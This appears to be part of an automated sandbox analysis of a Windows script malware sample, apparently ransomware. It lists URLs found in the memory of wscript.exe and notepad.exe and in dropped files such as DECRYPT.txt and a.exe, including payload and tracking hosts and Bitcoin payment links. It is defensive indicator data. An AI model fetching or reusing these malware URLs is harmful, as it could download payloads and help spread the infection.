Source: wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFA
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543693971.0000018C8E93B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549469495.0000018C8E944000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543771273.0000018C8E943000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543214677.0000018C8E92C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN
Source: wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNUlNAtnXA&rnd=44322U
Source: wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rW
Source: wscript.exe, 00000001.00000002.1550034045.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECA8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8ECA8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-B
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN
Source: wscript.exe, 00000001.00000003.1545177194.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmy
Source: wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lacampagnetropicana.com/counter/?ad=1
Source: wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kE
Source: wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbO
Source: counter[1].htm0.1.dr, counter[1].htm1.1.dr, counter[3].htm.1.dr, counter[2].htm0.1.dr, counter[2].htm.1.dr	String found in binary or memory: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-
Source: wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0P
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543693971.0000018C8E93B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549469495.0000018C8E944000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543771273.0000018C8E943000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1543214677.0000018C8E92C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN
Source: wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNrnd=44
Source: wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT:
Source: wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT::
Source: wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&
Source: wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F64F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr	String found in binary or memory: http://schema.org/WebPage
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1548078411.0000018C8ECF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fj
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F63B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F631000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr	String found in binary or memory: http://www.schema.org
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN
Source: wscript.exe, 00000001.00000003.1545214344.0000018C8CB40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1548841706.0000018C8CB68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429059260.0000018C8CB4C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429140478.0000018C8CB5A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAEE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428698499.0000018C8EAE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545034667.0000018C8CB37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546416145.0000018C8CB5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545265750.0000018C8CB58000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550417263.0000018C8F5F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d
Source: wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8EC74000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5f
Source: wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: https://blockchain.info/wallet/new
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lacampagnetropicana.com/
Source: counter[1].htm.1.dr	String found in binary or memory: https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c
Source: wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjb
Source: wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: https://localbitcoins.com/buy_bitcoins
Source: wscript.exe, 00000001.00000002.1550034045.0000018C8ECBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F64F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428532027.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546758700.0000018C8EAF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549727441.0000018C8EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1544320634.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550453541.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547858441.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429257298.0000018C8F62C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429188624.0000018C8F61F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr	String found in binary or memory: https://ogp.me/ns#
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545410007.0000018C8EEB5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428981510.0000018C8F630000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541876877.0000018C8F651000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540529654.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428496051.0000018C8EAFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1429014392.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1540456864.0000018C8EAF4000.00000004.00000020.00020000.00000000.sdmp, 8NWLUJXY.htm.1.dr, a2.exe.1.dr, php4ts.dll.1.dr, a1.exe.1.dr, a.exe.1.dr, 9AYDDNVM.htm.1.dr, 1DZ0H94T.htm.1.dr, IBM86D31.htm.1.dr, CKUCPLE0.htm.1.dr	String found in binary or memory: https://radostdetym.ru/amp
Source: wscript.exe, 00000001.00000003.1540456864.0000018C8EAEC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1428567624.0000018C8EAEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://radostdetym.ru/img
